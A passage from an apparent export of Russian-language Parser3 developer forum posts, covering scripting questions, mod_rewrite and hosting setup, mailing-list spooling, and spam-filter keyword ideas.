Помогите, пожалуйста, с решением проблемы, уже час ковыряюсь в мануале, но никак не могу найти ее решение.\
\
Необходимо проверить нахождение файла в каком-то конкретном каталоге. \
\
Например надо узнать, что файл index.htm находится в каталоге archiv. \
\
Еще лучше будет проверить наличие определенного слова в пути файла. Как это реализовать?"
"51223","Вот так всегда!\
Как только напишу о помощи на форум, сразу нахожу решение. :)\
Сорри, за беспокойство."
"51224","Люблю Парсер и люблю своего хостера. Плз, если есть какой-нить вариант, подскажите."
"51225","Под windows 32-битные приложения работают на 64-битной платформе без пересборки (не используя всех преимуществ, конечно). В случае вашей os это не так?"
"51226","Помогите, пожалуйста.\
Как я могу (если могу) использовать в этой конструкции $photo[^image::measure[/images/razdels/arhiv.gif]] переменную, меняя ей название файлов?\
Например, у меня в переменной $part записано название раздела на латинском. Как я могу использую эту переменную менять имена файлов автоматически, просто меняя значения самой переменной?\
Так не работает: $photo[^image::measure[/images/razdels/$part.gif]]. :("
"51228","Разбираю код опросника, который когда-то был на [url=\"http://crimnet.invex.ru/poll/\"]http://crimnet.invex.ru/poll/[/url] (сейчас не работает).\
\
Дело в том, что если чел-к голосовал, записались cookie, показываться в дальнейшем должен результать голосования. Проблема в том, что этого не происходит и все-равно показываются варианты. Что нужно сделать?\
\
[code]^if((def $params.request && $params.request is hash && def $params.request.$path_param) || $poll_info.status eq \"closed\"){\
\
## detecting restriction\
\
	^if(def $params.restrict && $params.restrict is hash){\
\
## cookie name defining\
\
		^if(def $params.restrict.cookie){\
			$cookie[${poll_id}_$params.restrict.cookie]\
		}{\
			$cookie[${poll_id}_poll]\
		}\
\
## expire date defining\
\
		^if(def $params.restrict.expires){\
			$expires[^params.restrict.expires.int(1)]\
		}{\
			$expires[session]\
		}\
\
## setting cookie\
\
		^if(!def $cookie:$cookie){\
			^if($expires eq \"session\"){\
				$cookie:$cookie[$expires]\
			}{\
				$cookie:$cookie($expires)\
			}\
		}{\
\
## voting restricted\
\
			$restricted(1)\
		}\
	}\
\
## updating vote counts\
\
	^if(!$restricted && def $params.request.$path_param && $params.request.$path_param is table && $poll_info.status ne \"closed\"){\
		^params.request.$path_param.menu{\
			^void:sql{\
				UPDATE	$pa_table\
				SET	vote_count = vote_count+1\
				WHERE	answer_id = '^params.request.$path_param.field.int(0)'\
				AND	poll_id = '$poll_id'\
			}\
		}\
	}\
\
## user voted or poll closed\
\
	$action[result]\
}{\
\
## active poll, no vote submitted\
\
	$action[answer]\
}[/code]"
"51233","Миша, есть предложение по форуму:\
\
Если в тексте submit'ящейся формы присутствует на выбор:\
\"WMZ\"\
\"как заработать денег в интернете\"\
\"при этом вы ничем не рискуете, но это работает\"\
\"внесите меня в список WMZ кошельков\"\
\"Отправьте 6$ на следующие WMZ кошельки\"\
..etc\
\
то:\
\
1) просить посетителя заполнить captcha-поле и\
2) выдавать у страницы с captcha response:status(404)\
\
я тут почитал то, что Яндекс.Блоги выдают по запросу \"спамилка\" и понял, что \"при текущем уровне технического прогресса\" этого довольно для сопротивления"
"51234","уверен не мало абревиатур существует таких."
"51235","вот мои результаты:\
\
IE 5, 6\
Mozilla FireFox 1.0.7, 1.5\
Opera 8.5, 9 beta\
\
Не работает на Mac в браузерах: IE, и Netscape\
Работает на Mac в: Safari 2.0.2, Camino 0.8.1 и FireFox 1.0"
"51236","http://www.parser.ru/examples/"
"51237","в каких браузерах это работает я думаю можно почитать на странице автора Subsys_JsHttpRequest_Js.\
\
его код я не правил и не собираюсь, более того я в нем даже не разбирался. а тестировать так глобально - просто лень, к тому-же у меня нет такой пачки разных броузеров (тестировал только IE 5.5, FF 1.5.0.1 и Opera 9 build 8303).\
\
но думаю те, кому это интересно, скажут тебе спасибо за исследование :)"
"51238","Если в настройках включен флажок «показывать фотографии авторов сообщений», то слева в колонке между именем и городом нет пробела."
"51239","Пока не замечено подобного спама без сочетания данных слов."
"51241","http://prosex.com.ua/forun/read.php?f=4&i=4749&t=4749\
http://net-prom.ru/remake/188508/full_replic_t\
\
уже пошло не про Webmoney, а про Яндекс.Деньги\
\
Ещё имеет смысл фильтровать по \
\
http://(.*)?frid=(\\d+)\
http://(.*)?ref=(.*)\
http://(.*)?r=(\\d+)\
http://(.*)?refid=(.*)\
http://(.*)?WMR=(\\d+)"
"51244","Я предложу свою концепцию. Расскажу как собираюсь в КОМАНДНОЙ работе ее реализовать. Ну, а дальше будет обсуждение, внесение поправок. Работа творческая, но с жесткими сроками и жестким руководителем:)\
\
В частности, одна из главных задач руководителя довести дело до ума:)"
"51246","а если смотреть иногда через Firefox 1.5.0.1, то все ссылки по два раза.. форум форум :)"
"51247","RewriteEngine on\
RewriteBase /\
\
#для директорий и не содержащих *.php|htm|html\
RewriteCond    %{REQUEST_URI}  !\\.(.*)$\
RewriteRule ^(.+[^/])$ $1/  [R]\
\
RewriteCond    %{REQUEST_URI}  [/]{2,}$\
RewriteRule ^(.*)/(/*)$ $1/  [R,L]\
\
RewriteCond %{REQUEST_URI}  en/\
RewriteRule ^en/(.*)$ $1\
\
RewriteCond %{REQUEST_URI}  en/\
RewriteRule ^en/(.+)$ $1"
"51248","У меня в Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 всё нормально."
"51253","\\w\\d{12}\
\
Давно не писал возможно ошибаюсь"
"51254","Как сделать перенос строки...."
"51255","1. <br/> если для текста\
2. вставлять #0A (если мне не изменяет память, символ переноса строки - воспользуйся поиском)"
"51257","форума ни у кого нет, так чтоб не жалко? (у меня потерся на винче, тот который был по-моему на nbsp.ru)\
Если есть то скиньте пожалуйста на ikenovodvorsky(мяу)gmail.com"
"51258","работал с RSS cloud кто-нибудь?\
\
информация здесь\
http://blogs.law.harvard.edu/tech/rss#ltcloudgtSubelementOfLtchannelgt\
\
если кто-то найдет open source RSS cloud control'ер реализованный через HTTP-POST, XML-RPC или SOAP 1.1, буду очень благодарен\
\
Язык любой PHP, Perl или Parser3 :)"
"51259","Есть предложения о сотрудничестве владельцам рассылок о Парсере, программировании сайтов, клиентских программ для сайтов и т.п.\
\
// Хусамов Сухроб\
\
Моя рассылка\
Принципы создания движка сайта (CMS)\
Рассказываю как я создаю сложные системы\
и произвожу набор команды разработчиков\
для создания операционной системы для сайтов.\
http://content.mail.ru/pages/p_21671.html\
http://subscribe.ru/catalog/inet.webbuild.khusamov"
"51260","создания операционной системы для сайтов. -- белорусский Линукс?"
"51261","Ташкентский пусть будет.\
Ташкентская операционка для сайтов.\
Мне нравится:)\
\
Кстати, по сути я так и хочу сделать. Правда конкурентов нету. Никто ничего подобного не делал.\
\
// Хусамов Сухроб\
\
[i]Моя рассылка[/i]\
[i][b]Принципы создания движка сайта (CMS)[/b][/i]\
[url=\"http://content.mail.ru/pages/p_21671.html\"]http://content.mail.ru/pages/p_21671.html[/url]"
"51262","ну просто в нете долго висели новости о разработке Белорусской ОС"
"51263","Постараюсь чтобы у меня ничего не висело.\
\
-----\
[i]Принципы создания движка сайта (CMS)[/i]\
[i]http://content.mail.ru/pages/p_21671.html[/i]"
"51264","реализация отправки письма средствами Парсера привела к массовой рассылке СПАМа. Коим образом - история умалчивает. Но для отправки почты с сайта настоятельно советую использовать стандартные средства. Анализ логов сервера показал, что как такового взлома не было. То есть Парсеру каким-то образом впарили огромную почтовую базу, а он ее спокойно разослал. Сама форма обратной связи реализована грамотно, видимо спамеры не поленились проанализировать исходники Парсера и найти дырочку."
"51265","если вы зайдете в раздел новости, то увидете, что эта \"дырка\" была закрыта, о чем и было сообщено (+ поиском находится [url=\"/forum/?id=51056\"]уточнение[/url]).\
\
скорее всего уязвимостью воспользовались после её анонса.\
\
а потерли т.к. не было никаких подробностей. я могу установить в административный раздел пароль test:test и потом долго кричать что сайт взломали, однако к языку это не будет иметь никакого отношения.\
\
данное ваше сообщение естественно удалено не будет (тут есть подробности), дабы другие обновили парсер поскорее.\
\
P.S. с момента выпуска, насколько я знаю, это первая обнаруженная уязвимость."
"51269","делаю рассылку -- стал вопрос -- что быстрее собирать из разных таблиц в одну и затем рассылать содержание или создавать текстовые файлы.\
Всего семь содержаний рассылки отсылаемых разным пользователям. База адресов должна быть ок. 1500."
"51271","Parser (проверял на 3.1.4, но в changelog нет ни слова об исправлении этого на более поздних версиях) отправляет письма в восьмибитной кодировке без указания Content-Transfer-Encoding. При этом:\
\
[quot]\
     encoding := \"Content-Transfer-Encoding\" \":\" mechanism\
\
     mechanism := \"7bit\" / \"8bit\" / \"binary\" /\
                  \"quoted-printable\" / \"base64\" /\
                  ietf-token / x-token\
\
   These values are not case sensitive -- Base64 and BASE64 and bAsE64\
   are all equivalent.  An encoding type of 7BIT requires that the body\
   is already in a 7bit mail-ready representation.  This is the default\
   value -- that is, \"Content-Transfer-Encoding: 7BIT\" is assumed if the\
   Content-Transfer-Encoding header field is not present.\
[/quot]\
При этом:\
[quot]\
2.7.  7bit Data\
\
   \"7bit data\" refers to data that is all represented as relatively\
   short lines with 998 octets or less between CRLF line separation\
   sequences [RFC-821].  No octets with decimal values greater than 127\
   are allowed and neither are NULs (octets with decimal value 0).  CR\
   (decimal value 13) and LF (decimal value 10) octets only occur as\
   part of CRLF line separation sequences.\
[/quot]\
http://www.ietf.org/rfc/rfc2045.txt"
"51272","Я о похожей писал PAF'у в феврале 2003 (тогда Parser позволял формировать произвольные заголовки, если какие-либо данные в заголовок передавались из формы). Или это та же самая ошибка, но только сейчас пофикшена?"
"51274","Подскажите, пожалуйста, как можно подсчитать количество строк в абзаце?"
"51275","а кто нить видел что-то подобное ftp клиенту Homesite'a? очень уж я привык к нему, но глючность сего продукта иногда бесит.\
\
т.е. именно выезжающая панель с деревом сайтов..."
"51276","подскажу ключевые слова :)\
\
\"количество новых строк\" + еще интересно как Вы определяете абзац"
"51277","отдельную таблицу-очередь и рассылаю бэтчами по несколько сотен.\
скрипт запускаю кроном один раз в пять минут"
"51278","esli prinjt chto abzac zakanchivaetsja po simvolu \\n, a kolichestvo simvolov v odnoj stroke 40 =), to schitaesh simvoli do \\n i delish na kolichestvo simvolov v stroke\
\
btw sorry for translit. solaris rocks."
"51282","у меня еще другая проблема -- юзер может подписаться на один вид рассылки или на два любых или на три все сразу.\
Причем рассылки беруться из разных двух таблиц (новости и спецпредложения, ООБД не использовал когда делал этот сайт -- давно было)"
"51283","Скачал кучу документации но нет нигде нормальных примеров. Или слишком простые или слишком сложные)))\
\
Помогите мне сконфигурировать .htaccess \
\
Нужно чтобы урл такого вида htp://www.site.com/news/rus/2006.01.19/234/\
\
\"приходил\" в скрипт так:\
\
htp://www.site.com/news.php?lang=rus&date=2006.01.19&id=234"
"51284","Всем наверное известна эта штука осуществляющая ресайз картинок и т.д. У меня на nconvert по windows написан достаточно большой скрипт на парсере по обработке графики. Но вот как перенести теперь всё это под FreeBSВ ? Скачал архив там файл nconvert ( без расширения ) и выдаёт ошибку Premature end of script headers.\
\
Ктонибудь использует nconvert. Поделитесь опытом !"
"51285","вы не читали документацию и не смотрели примеров.\
Если вы читали документацию и смотрели примеров, то вам вообще не нужен mod_rewrite."
"51286","а права на nconvert вы правильно установили?"
"51287","Конечно 755"
"51289","а заливали binary?"
"51293","большое спасибо кстати за идею со спулом"
"51294","Читал я все..\
Вот использую такую конструкцию\
\
[code]RewriteEngine on\
Options +FollowSymlinks\
RewriteBase /\
RewriteRule ^(.*)news/(.*)/(.*)/([0-9]{1,5})/$ /news.php?lng=$1&today=$2&id=$3\
[/code]\
\
Все работает так как я хочу но все ссылки и пути(картинок, стилей) страници меняются и получается такое:\
http://www.site.com/news/rus/2006.03.10/images/pic_1.jpg\
а должно быть\
http://www.site.com/images/pic_1.jpg\
\
Как исправить чтобы было правильно?"
"51295","RewriteEngine on\
Options +FollowSymlinks\
RewriteBase /\
RewriteRule ^(.*)news/(.*)/(.*)/([0-9]{1,5})/$ /news.php?lng=$1&today=$2&id=$3\
Все работает так как я хочу но все ссылки и пути(картинок, стилей) страници меняются и получается такое:\
\
1. Во-первых вы не исключаете слэши(как такая контрукция может работать я не понимаю).\
2. У вас указаны пути images/pic_1.jpg а не /images/pic_1.jpg\
3. В третьих этот форум посвящен ПАРСЕРУ(!) а не mod_rewrite, идите вы на тематические форумы."
"51296","[quote]Во-первых вы не исключаете слэши(как такая контрукция может работать я не понимаю).[/quote]\
Что Вы имеете в виду? Какие слэши?"
"51297","вместо (.*) -- (.*[^/])"
"51298","И все таки.. Вы знаете как решить мою проблему или нет. На этом сайте ведь тоже используется модреврайт и наверняка тут была такая же проблема как и у меня. \
Может поможете?"
"51299","на design.ru используется Parser.ru пошлите им письмо\
\
[code]^(.*)news/(.*)/(.*)/([0-9]{1,5})/$ /news.php?lng=$1&today=$2&id=$3\
\
^news/(.*[^/])/(.*[^/])/([0-9]{1,5})/$ /news.php?lng=$1&today=$2&id=$3\
\
а ссылки <img src=\"/images/news.jpg\" />\
\
код не проверял.[/code]"
"51302","То бишь cgi скрипт, в архиве это файл nconvert без расширения.\
Устанавливается элементарно.\
Рядом с ним нужно положить libformat.so.\
\
Подробнее - в поиск по \"nconvert\"."
"51306","[code]$tbl[^table::create{id\
1\
2\
3\
4\
}]\
\
$c[]\
^tbl.menu{\
   $c[${c}0]\
}{ $c[${c}1]}\
\
$c [/code]\
\
Выводит: 0010101 \
Почему разделитель в [code]{$c[${c}1]}[/code] страбатывает только после [b]второй [/b]строки, а не после первой?"
"51307","http://demiurg.livejournal.com/70790.html"
"51309","Пока я не написал \
[code]^table::create{^taint[as-is][$cookie:regions]}[/code]\
\
таблицы то создавались, то нет...я так и не понял \
почему когда переходил в другой раздел куки оставались прежними,а таблица не создавалась..."
"51310","Для того чтобы его определить надо запускать не сам nconvert, а скрипт nconvert.sh (лежит в корневой директории скрипта).\
\
Ну и чтобы не запускать 2 скрипта, сначала nconvert.sh, потом nconvert, я в конец добавил строчку: bin/nconvert $*\
\
Итого:\
\
[code]\
#!/bin/sh\
\
if [ -e /sbin/uname -o -e /bin/uname -o -e /usr/bin/uname ]; then\
	case \"`uname -s`\" in\
	AIX)\
		LIBPATH=`pwd`/lib\
		export LIBPATH\
		;;\
	HP-UX)\
		SHLIB_PATH=`pwd`/lib\
		export SHLIB_PATH\
		;;\
	*)\
		LD_LIBRARY_PATH=`pwd`/lib\
		export LD_LIBRARY_PATH\
		;;\
	esac\
else\
	echo \"Unknown system \\!\"\
	exit\
fi\
\
bin/nconvert $*\
[/code]\
\
Например метод вызова документации, получается такой:\
\
[code]\
@doc[]\
# Выбор опреционной системы\
# Скрипт с его библиотеками лежит вне веб-пространства\
$PATH_TO_NCONVERT[/../xnview/nconvert.sh]\
#$PATH_TO_NCONVERT[/../xnview/nconvert.exe]\
\
$f[^file::exec[$PATH_TO_NCONVERT;;-help]]\
$result[$f.text]\
#/doc\
[/code]\
\
\
Еще советую проверить пути к самому скрипту и к картинкам, с которыми он будет работать."
"51311","Вам нужно, чтобы физически существующие файлы и директории не попадали под действие шаблона."
"51312","Рассказываю алгоритм выполнения Вашего кода.\
Вы создаете таблицу, состоящую из 4х строк:\
[code]\
$tbl[^table::create{id\
1\
2\
3\
4\
}]\
[/code]\
Вы создаете пустую переменную:\
[code]\
$c[]\
[/code]\
Далее Вы создате конструкцию:\
[code]\
^tbl.menu{\
   $c[${c}0]  #теперь $c = 0\
}{ $c[${c}1]} #$c = 01\
[/code]\
Т.к. в $tbl 4 строки, цикл menu выполняется 4 раза:\
1 шаг - присвоение $c[0], присвоение разделителю $c[01]\
2 шаг - дозапись в $c[0] полученного разделителя $c[01], $c[001]\
3 шаг - дозапись разделителя в $c[001] - $c[00101]\
4 шаг - дозапись разделители в $c[00101] - $c[0010101]\
Далее Вы выводите $c:\
[code]\
$c\
[/code]\
Парсер выдает значение измученной $c - 0010101, которое полученно не самым человеческим образом ;)\
Опишите Вашу задачу, думаю, ее можно решить более рационально."
"51313","Можно ли через адресную строку задать переменной определённое значение(как например в php ...?a=10&b='abc')? И как это сделать?"
"51315","$a[a]\
$ainfo[10]\
$b[b]\
$binfo[abc]\
<a href=\"/link.html?$a=$ainfo&$b=$binfo\">link</a>\
link.html?a=10&b=abc"
"51316","[code]$now[^date::now[]]\
$month[^date:calendar[rus]($now.year;$now.month)]\
^if(^month.locate[$week_day;$now.day]){$month.week}{0}[/code]\
\
Работает только для воскресений. Почему?"
"51318","Просто время поджимает и самому писать некогда, cтавить пхпшный не хочется -- весь сайт на Парсере. К тому же мне очень древовидность нравится.\
Так что если можете -- буду очень благодарен."
"51319","Завтра будет только для понедельников работать.\
\
С 3.1.5. можно не заниматься с календарем, а делать просто — $now.week\
\
UPD. А ваш код будет работать в таком варианте:\
[code]$now[^date::now[]]\
$month[^date:calendar[[b]eng[/b]]($now.year;$now.month)]\
^if(^month.locate[[b]$now.weekday[/b];$now.day]){$month.week}{0}[/code]"
"51321","первый параметр у .locate[] - название столбца."
"51322","[quote]С 3.1.5. можно не заниматься с календарем, а делать просто — $now.week[/quote]\
Это очень хорошо. А я еще думал почему такого нет.\
\
Я перевожу календарь на компе на завтра, результат - 0."
"51324","Я и сам думаю, $week_day - это же по идее день недели, а не число. А потом смотрю пример календаря\
\
[code]^for[week_day](0;6){ \
	<td width=\"14%\" align=\"middle\" bgcolor=\"#A2D0F2\"> \
		<font color=\"$calendar_locale.day_colors.$week_day\"> \
			$calendar_locale.day_names.$week_day \
		</font> \
	</td> \
} [/code]\
...\
[code]^days.menu{ \
   <tr> \
      ^for[week_day](0;6){ \
         ^if($days.$week_day){ \
            ^if($days.$week_day==$now.day){ \
            <td align=\"middle\" bgcolor=\"#FFFF00\"> \
               <font color=\"$calendar_locale.day_colors.$week_day\"> \
               <b>$days.$week_day</b> \
               </font> \
            </td> \
            }{          \
            <td align=\"middle\" bgcolor=\"#FFFFFF\"> \
               <font color=\"$calendar_locale.day_colors.$week_day\"> \
               $days.$week_day \
               </font> \
            </td> \
            } \
         }{ \
            <td bgcolor=\"#DFDFDF\">&nbsp</td>    \
         } \
      } \
   </tr> \
} [/code]\
\
И там и там $week_day"
"51327","Там как раз столбцы — дни недели (0-6).\
\
[strike]Другой вопрос, что месячный календарь не очень подходит для определения дня недели (в отличии от недельного).[/strike]\
\
UPD. На меня тоже перевод влияет."
"51330","use $date.week ;-)"
"51332","Мне и нужно, чтобы искалось в $month.day.\
\
[code]^month.locate[day;$now.day][/code]\
- у меня не работает. Я так изначально и написал."
"51337","Жаль, что нельзя создавать календарь на заданную по номеру (недели в году) неделю месяца.\
\
[code]$week_of_month[^date:calendar[rus][$now.week]][/code]"
"51338","И решите с какой строки начинается вычисление разделителя - после второй\
[code]$tbl[^table::create{id\
1\
2\
3\
4\
}]\
\
\
\
$counter(0) \
^tbl.menu{\
  $counter <br>\
}{ ^counter.inc[]}\
 [/code]\
\
\
Выводит:\
\
0 \
0 \
1 \
2 "
"51340","Для Вашего примера вполне сгодиться следующий код:\
[code]\
$tbl[^table::create{id\
1\
2\
3\
4\
}]\
$counter(0) \
^tbl.menu{\
  $counter <br>\
  ^counter.inc[]\
}\
[/code]\
А если Вы сомневаетесь в правильности документации, то проверьте у себя этот код:\
[code]\
$tbl[^table::create{id\
1\
2\
3\
4\
}]\
$question[стоит разделитель?] \
^tbl.menu{\
  $question \
}{да! <br>}\
нет, потому что это последний элемент...\
[/code]"
"51341","$file[^file::load[text;http://photofile.ru/album.php?id=1229053]] \
^file.save[text;photo.txt]\
\
возникает ошибка...\
load\
timeout occured while retrieving document\
\
подскажите пожалуйста как устранить!"
"51342","Ваш код верен. И мой тоже.\
Глюк в том, что когда menu и разделитель начинают считать одну переменную...разделитель работает после второй строки...\
В других случаях все нормально...\
Ладно нужно заканчивать эту дисскуссию...\
Искреннее Спасибо за участие, Марат!\
;)"
"51343","Есть предположение, что так и должно быть в ввиду структуры перла. Возможно, конечно же, что данный вариант просто не был учтен из-за редкого использования.\
Всегда рад помочь, mr. Lu =)"
"51344","Ошибка возникает из-за того, что в парсере по умолчанию макс. время ожидания ответа от http ресурса равно 2 секундам. Видимо, у Вас парсер не успевает получить информацию за заданное время.\
Решение - добавить опцию $.timeout(), в скобках указывается максимальное время ожидания:\
[code]\
$file[^file::load[text;http://photofile.ru/album.php?id=1229053;$.timeout(15)]]\
[/code]\
Подробнее о работе с http серверами можно почитать здесь - http://www.parser.ru/docs/lang/?app4.htm"
"51345","Вот что получаю в лог файл ( не в парсеровский, в парсеровский вообще ничего не пишется )\
\
[Mon Mar 27 01:32:37 2006] [error] [client 195.239.144.143] /usr/libexec/ld-elf.so.1: , referer: /private/?\
[Mon Mar 27 01:32:37 2006] [error] [client 195.239.144.143] /usr/local/lib/mysql/libmysqlclient.so: Undefined symbol \"stpcpy\", referer: /private/?\
[Mon Mar 27 01:32:37 2006] [error] [client 195.239.144.143] Premature end of script headers: parser3.cgi, referer: /private/?\
\
Это ошибка появляется только когда происходит подключение к MySQL\
\
FreeBSD 5.4 ( для сервера MySQL 4.0.26 ) \
Parser 3.2.1 под freebsd 4.10\
\
Что делать ? И откуда это: /usr/libexec/ld-elf.so.1 ?\
\
На форуме видел что эта проблема появлялась неоднократно, может кто то смог решить её или подскажите с чем обратиться к хостеру."
"51347","Передать один из 7 дней нужной недели, обычно, проще, чем сообщить точный ее номер."
"51348","Цитирую мануал:\
[quot]\
Удаляет указанный файл. \
Путь - путь к файлу \
\
Если после удаления в каталоге больше ничего не осталось, каталог тоже удаляется(если это возможно). \
[/quot]\
\
А как бы так сделать что бы каталог не удалялся?\
Если никак, то подскажите, плз, как его создать с необходимыми правами? Не вызывать же внешний шелл и mkdir?"
"51349","Нашел немного странный способ обхода этой фичи:\
оставляю в каждом каталоге readme файлик ;)"
"51351","файл пустышку с экзотическим названием. и никогда его не удаляйте."
"51353","Сейчас у меня следующий алгоритм\
заполнена форма > достаются id из таблицы адресов > id записи и id user'a кладутс в таблицу из которой уже ведется расслка\
\
Слабое место как мне кажется одно -- это запрос с id из таблицы адресов и создание таблицы неотосланных сообщений -- поскольку делаютя они в рамках одного скрипта. Есть ли возможность оптимизировать этот алгоритм, может кто сталкивался?"
"51356","1. Расширение нечастовстречающееся,\
2. Если такой файл существует, но он пустой - это никому не мешает\
2. Положительный эффект - самодисциплинирует, учит лучше дружить с CVS ;-)"
"51358","Пардон, лишнюю букву написал. Правильно VSIP\
\
http://msdn.microsoft.com/vstudio/extend/vseoverview/default.aspx\
\
Я качал как-то для VS2003, создавал новый тип проекта Parser 3, пару ключевых слов он подсвечивал, на этом забил. \
\
На счет PHP - может это, а может и нет, не помню:\
http://www.jcxsoftware.com/jcx/vsphp/features\
\
Насколько я понял, можно выводить выплывающим списком много чего - главное описать язык (по-моему там Питон используется, но могу ошибаться). Ну и еще там сложно все и документации мало.\
\
[quote]\
Visual Studio 2005 SDK\
The Visual Studio 2005 SDK for Visual Studio 2005 provides support for the deep integration to the Visual Studio IDE using COM interfaces.\
\
To develop VSPackages using managed code languages such as Visual C# or Visual Basic, you will also need the VSIP Extras add-on to the Visual Studio 2005 SDK .  (Beginning with the Visual Studio 2005 SDK for Visual Studio 2005, managed code support is included in the SDK itself.)\
\
To download the Visual Studio 2005 SDK , VSIP Extras, or to learn more about the Visual Studio 2005 SDK , please visit the VSIP Dev Community.\
\
For more information on the Visual Studio SDK, please visit the Visual Studio Extensibility Center. \
\
[/quote]"
"51359","А если необходимо узнать какие числа в определенную неделю?"
"51360","помогите плз.. такая ситуация... значит есть несколько xml баз, надо все базы объединить в одну. как это сделать, не нашел ничего подобного о линковке xml баз... \
\
@xml[]\
$sourceDoc[^xdoc::load[qwerty.xml]] <- может как нибудь можно загрузить сразу несколько файлов xml???\
$transformedDoc[^sourceDoc.transform[qwerty.xsl]] \
^transformedDoc.string[$.method[html]]"
"51361","Грузите несколько xdoc'ов, создавайте болванку результирующего документа с корневым элементом и кладите в него содержимое всех частей, используя $.omit-xml-declaration[yes] и потом преобразуйте болванку в xdoc и работайте с ним."
"51362","если можно по подробнее о \"$.omit-xml-declaration[yes]\"\
\
Сделал так, вроде работает, но не знаю, может как-то все это делается \"правильнее\"?\
\
@xml[]\
$sourceDoc[^xdoc::load[1.xml]] \
$sourceDoc1[^xdoc::load[2.xml]]\
\
$transformedDoc[^sourceDoc.transform[qwerty.xsl]] \
$transformedDoc1[^sourceDoc1.transform[qwerty.xsl]] \
^transformedDoc.string[$.method[html]]\
^transformedDoc1.string[$.method[html]]"
"51363","[code]\
@xml[]\
$sourceDoc[^xdoc::load[1.xml]] \
$sourceDoc1[^xdoc::load[2.xml]]\
\
$resultDoc[<?xml version=\"1.0\" encoding=\"...\" ?>\
<root>\
^sourceDoc.string[\
	$.method[xml]\
	$.indent[no]\
	$.omit-xml-declaration[yes]\
]\
^sourceDoc1.string[\
	$.method[xml]\
	$.indent[no]\
	$.omit-xml-declaration[yes]\
]\
</root>]\
$resultDoc[^xdoc::create{$resultDoc}]\
$transformedResultDoc[^resultDoc.transform[qwerty.xsl]] \
^transformedResultDoc.string[$.method[html]]\
[/code]\
\
Ну и Миша щас ещё один вариант предложит, более концептуальный.\
Какой из них выгоднее - проверять вам."
"51366","Можно ли для комплекта CGI Apache Swissknife использовать CGI скрипт Парсера (хостинг провайдера предоставляет только эту функцию)? Если можно, как это сделать?"
"51371","задача передать клиенту нумерованный массив (array). Так как парсерного эквивалента этому типу данных найти не удалось, было принято решение использовать подручные средства (hash of bool).\
К сожалению остается открытым вопрос упорядоченности данных в массиве - при сериализации хэша в JSON(см. ^_hash2js()) foreach выдает ключи в произвольном порядке, что не всегда приемлемо.\
\
В принципе можно оставить все как есть, при необходимости на стороне клиента использовать array.sort() или array.sort(функция) но это поможет не во всех случаях."
"51372","То, что хостер не разрешает вам ставить mod_parser, абсолютно не значит, что вы не можете пользоваться им на личном компьютере. Вариант с *.dll быстрее варианта с *.exe\
\
При закачке сайта к хостеру положите вариант parser3.cgi и сопутствующих файлов под нужную операционную систему и почитайте первые строчки в файле .htaccess  Когда прочтёте, поймёте, что надо раскомментировать."
"51373","т.е. достаточно изменения файлов .htaccess и конфигурационного auto.p? Структуру контента при переносе к провайдеру менять не нужно?"
"51374","Всё задумывалось так, чтобы облегчить синхронизацию с сервером провайдера.\
\
Сайт обслуживается mod_parser'ом, который лежит вне веб-пространства (папки с вашими html-файлами). Инструкция, которая привязывает mod_parser к html-файлам, вынесена в конфигурационный файл Apach'а httpd.conf, который тоже лежит далеко и не мешается под ногами, когда вы копируете сайт провайдеру по FTP.\
\
То есть закидывание сайта к провайдеру сводится к записыванию в папку /cgi-bin/parser3/parser3.cgi (под Linux, FreeBSD или другого - под нужную систему) и сопуствующих файлов, выставлению на parser3.cgi прав 755, мелкой правке файла .htaccess и копированию ваших страниц в папку public_html (или как там она в вашем случае называется)."
"51375","спасибо"
"51376","can not connect to host \"photofile.ru\": Connection refused (111)\
хотя вроде в браузере всё нармал открывается"
"51378","Эта ошибка к предыдущему запросу не имеет отношения, распишите Ваши действия."
"51379","на проекте настроет mod_rewrite таким образом что берет данные с другого хоста ([p])\
есть вопрос можно ли настроить парсер на обработку выходного документа постпроцессом"
"51380","Скачиваю исходники\
[color=\"#666666\"]cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project get -r release_3_2_1 parser3[/color]\
Читаю файл INSTALL, действую по инструкции\
[color=\"#666666\"]./buildall-with-xml[/color]\
После завершения компиляции нахожу в папке /usr/local/bin/ файл parser3 и копирую его в /cgi-bin/\
Захожу через ssh, пробую запустить парсер, получаю\
[color=\"#666666\"]Bad system call (core dumped)[/color]\
\
Системное ядро FreeBSD 5.4-RELEASE-patched-p8"
"51381","ИМХО имеет смысл внести эту информацию в readme с дистрибутивом Apache Swissknife."
"51382","Всё перепробовал получаю:\
\
[Tue Mar 28 12:17:28 2006] [63255] /pr/?section=news: /usr/home/12039/vi.ru/html/auto.p(14:2): '/usr/home/12039/vi.ru/cgi-bin/lib/libparser3mysql.so' driver failed to initialize client library '/usr/home/12039/vi.ru/cgi-bin/lib/libmysqlclient.so.12', can't open the module [<no type>]\
\
Хотя пути указаны правильно ( помощью тех поддержки )"
"51384","да, все ясно -- снова не хотят платить за нормальную разработку и дизайн"
"51386","Я переделываю nbsp-кий форум на xml-xsl + убираю кое-что. Как доделаю, выложу все исходники."
"51388","вот как сделано сейчас\
[code]\
@add_queye[type;content_id]\
$selectRecipients[^table::sql{SELECT id FROM recipients WHERE type = $type]\
^selectRecipients.menu{\
^void:sql{INSERT INTO spool (recipient_id, content_id) VALUES ($selectRecipients.id, $content_id)\
}\
\
@sent_maillist[]\
$selectQueye[^table::sql{SELECT id, recipient_id, content_id FROM spool WHERE is_sent = 0 LIMIT 0, 100}]\
^selectQueye.menu{\
	$selectAdress[^table::sql{SELECT email FROM recipients WHERE id = '$selectQueye.recipient_id'}]\
	$selectContent[^table::sql{SELECT header, text FROM dynamic_content WHERE id = '$selectQueye.content_id'}]\
		^if(def $selectAdress && def $selectContent){\
			^mail:send[ \
				$.from[robot@site.ru]\
				$.x-mailer[Parser 3.2.1]\
				$.to[$selectAdress.email]\
				$.subject[Рассылка с сайта]\
				$.charset[$response:charset]\
				$.text[^untaint{$selectContent}]\
			]\
           ^void:sql{UPDATE spool SET is_send = 1 WHERE id = $selectQueye.id\
		}\
}\
}\
	[/code]"
"51389","зайдите к хостеру по SSH (или закиньте ему PerlNet, или напишите простейший shell или perl скрипт) и убедитесь, что вам дали верные пути и библиотека mysql доступна для чтения."
"51390","[code]^selectRecipients.menu{\
	^void:sql{INSERT INTO spool (recipient_id, content_id) VALUES ($selectRecipients.id, $content_id)\
}[/code]\
\
в случае MySQL можно так (работает в разы быстрее):\
[code]\
^void:sql{INSERT INTO spool (recipient_id, content_id) VALUES \
	^selectRecipients.menu{\
